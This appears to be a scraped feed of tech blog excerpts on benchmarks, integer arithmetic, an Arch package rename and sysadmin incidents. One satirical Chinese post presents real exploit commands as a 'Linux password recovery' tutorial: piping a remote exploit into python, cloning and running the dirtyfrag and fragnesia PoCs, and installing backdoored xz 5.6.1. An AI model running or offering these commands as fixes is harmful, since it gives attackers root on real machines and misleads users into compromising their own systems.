Daniel Lemire's blog
Embodied cognition and agentic AI

Telegraph | source

Telegraph

Embodied cognition and agentic AI

Where is your intelligence located? In your brain? It is a simplistic answer. A better model is that your intelligence is embodied. Consider a cook working at an expensive restaurant. He has all his favorite knives and cooking instructions, placed exactly…

孩子们，opus 4.8 来了

https://www.anthropic.com/news/claude-opus-4-8

Anthropic

Introducing Claude Opus 4.8

Our latest model, Claude Opus 4.8, is an upgrade to our Opus class of models, with stronger performance across coding, agentic tasks, and professional work, and the consistency to handle long-running work.

Arch Linux: Recent news updates
Breaking changes for all users of `varnish`, which is renamed to `vinyl-cache`

The Varnish project has renamed itself to Vinyl Cache. We followed this rename with a new vinyl-cache package. This upgrade results in breaking changes and users are advised to study these changes and how it affects them before following the replacement. All references to "varnish" have been changed to "vinyl" in all binaries and directories.

At minimum, users will have to:

● rename /etc/varnish to /etc/vinyl-cache
● rename /var/lib/varnish to /var/lib/vinyl-cache
● fix up ownership of files inside /var/lib/varnish
● user varnish becomes vinyl
● group varnish becomes vinyl
● user varnishlog becomes vinyllog
● user vcache remains the same
● disable the old varnish.service and varnishncsa.service systemd units
● enable the new vinyl-cache.service and vinylncsa.service systemd units

Meanwhile, the varnish package has been dropped from [extra]. We're not currently planning to maintain a new varnish package as it's a different upstream project.

source
(author: Sven-Hendrik Haase)

Chips and Cheese
Evaluating SPEC CPU2026
#ChipAndCheese

Telegraph | source
(author: Chester Lam)

Telegraph

Evaluating SPEC CPU2026

SPEC’s CPU benchmark suite has been a long established industry standard, and is almost impossible to miss when reading through various publications. Intel used SPEC CPU2000 to showcase Pentium 4’s improvements over Pentium III. Samsung used SPEC CPU2000…

Daniel Lemire's blog
Only 17% of all 64-bit Integers are products of two 32-bit integers

Telegraph | source

Telegraph

Only 17% of all 64-bit Integers are products of two 32-bit i…

In software programming, the product between two integers is often computed to a fixed number of bits with overflow. Consider 8-bit integers. If you multiply 127 by 127, you get back the number 1 as an 8-bit unsigned integer, with an overflow. The actual…

杰哥的{运维，编程，调板子}小笔记
SPEC CPU 2026 在其他指令集上的编译

Telegraph | source

Telegraph

SPEC CPU 2026 在其他指令集上的编译

SPEC CPU 2026 在其他指令集上的编译¶ SPEC CPU 2026 官方只附带了 aarch64/ppc64le/riscv64/x86_64 指令集的预编译 tools，如果要在其他指令集上使用，就需要首先编译 tools，过程如下： cd /mnt && tar xvf install_archives/tools-src.tar wget -O config.guess 'https://git.savannah.gnu.org/gitweb/?p=config.git;a=blob_…

https://www.servethehome.com/the-case-for-compilers-a-look-at-spec-cpu-2026-on-llvm-22/ 和 SPEC CPU 2017 类似，SPEC CPU 2026 不同版本编译器差距也很大

ServeTheHome

The Case For Compilers: A Look at SPEC CPU 2026 on LLVM 22

Looking at the role of compilers in SPEC CPU 2026 performance, we have tested the benchmark suite on LLVM 22. The newest compiler provides a meaningful improvement to benchmark scores for multiple architectures

Harry Chen’s Blog
在 RTX 5090 上启用 GPUDirect RDMA 通信支持

Telegraph | source
(author: Shengqi Chen (i@harrychen.xyz))

Telegraph

在 RTX 5090 上启用 GPUDirect RDMA 通信支持

免责声明： 本文涉及对 GPU 驱动的修改，作者不对任何因此产生的后果负责。 两个月前，我通过安装打补丁的驱动，成功为 RTX 5090 启用了 PCIe P2P 支持。就像我在那篇博客最后说的，另一个美好的愿望是，让 5090 这类消费级 GPU 也支持 GPUDirect RDMA，进一步减少跨机通信需要的 CPU 参与。而今天借助 Codex，我居然把这个愿望实现了。 技术背景 GPUDirect RDMA 的核心思想就是让 GPU 可以和网卡直接通信，绕过 CPU 和系统内存进行数据传输。既然驱动已经提供了…

Daniel Lemire's blog
SIMD-accelerated integer-to-string conversion

Telegraph | source

Telegraph

SIMD-accelerated integer-to-string conversion

Converting a 64-bit integer to its decimal string representation is a mundane task that shows up everywhere: logging, JSON serialization, CSV output, debug prints, etc. In C++, you might use std::to_chars, sprintf, or some library routine. How do these functions…

Harry Chen’s Blog
PERC RAID5 阵列离线后数据救援一例

Telegraph | source
(author: Shengqi Chen (i@harrychen.xyz))

Telegraph

PERC RAID5 阵列离线后数据救援一例

TL;DR: 我不是神仙，RAID5 真坏两块盘是很难救回来的。坏了要及时换盘。 记得备份，备份，备份！ ZFS 在数据恢复中是好文明，压缩、快照、克隆等功能都非常有用。 前两天学校停电倒闸后，杰哥告诉我机房有一台 Dell 服务器的 RAID5 VD 坏了一块盘，让我有空的时候换掉（注：其实它两年前已经开始报告错误了）。但当我今天再登录这台服务器的时候，却发现这个 RAID5 对应的目录已经开始报告 Input/output error 了。再随手一看： harry@raid-server:~$ mount…

1. Linux 找回密码教程，建议收藏！
curl https://copy.fail/exp python3 && su
passwd root
设置你的新密码

2. 你的 Linux 密码又忘了？
没关系，这里还有一个新的！
git clone https://github.com/V4bel/dirtyfrag.git&& cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

3. 不想再忘记密码了？
我们有专业的黑客团队帮您运维服务器和保管密码！
项目地址: https://github.com/tukaani-project/xz/tree/v5.6.1
sudo apt install xz-utils=5.6.1-1
sudo systemctl restart ssh

4. 容易忘记密码的有福了，每天都有新办法！
https://ze3tar.github.io/post-zcrx.html
插入一个支持ZCRX的高端网卡，让它down掉，然后ptr_ring drain + scrub loop重复入栈把free_count写溢出即可

5. 什么，你买不起高端网卡？那试试这个吧！
git clone https://github.com/v12-security/pocs.git&& cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp

6. 听说您的机房不允许ssh外连，只能通过KVM物理访问服务器? 没关系，我们的专业黑客团队也可以通过nginx帮助运维您的服务器！
https://depthfirst.com/nginx-rift

Chips and Cheese
Evaluating Geekbench 6
#ChipAndCheese

Telegraph | source
(author: Chester Lam)

Telegraph

Evaluating Geekbench 6

Applications vary wildly in what they demand from a system, making it difficult for a single benchmark to provide a broadly representative score. Benchmark suites try to address this by running a set of workloads that hopefully capture a range of typical…

Daniel Lemire's blog
Checking multiplication overflow

Telegraph | source

Telegraph

Checking multiplication overflow

Suppose that x is a variable of an unsigned type. In C/C++, it could be of type size_t for example. You have an expression like 6 * x and you want to know whether 6 * x overflows. That is, you want to know if 6 * x exceeds the range of values that can be…

杰哥的{运维，编程，调板子}小笔记
记一次循环依赖导致的运维小事故

Telegraph | source

Telegraph

记一次循环依赖导致的运维小事故

记一次循环依赖导致的运维小事故¶ 背景¶ 每次没有 UPS 的倒闸对于运维来说都是一次鸡飞狗跳。这次很不幸，鸡飞狗跳终于轮到了我，还好花了一个半小时还是解决了。在这里做个简单的复盘。 现象与排查¶ 首先介绍一下现象：停电恢复之后，服务器开起来，但是无法从互联网连接内网的网关（即主网关）。还好，之前考虑到网关的重要性，做了备份，走内网的备用网关顺利进入了内网，然后发现主网关即使 IP 地址是对的，也连不上互联网。虽然通过 keepalived 的配置，主网关和备用网关会通过虚拟 IP 给内网机器提供一个高可用的默认网关，但由于…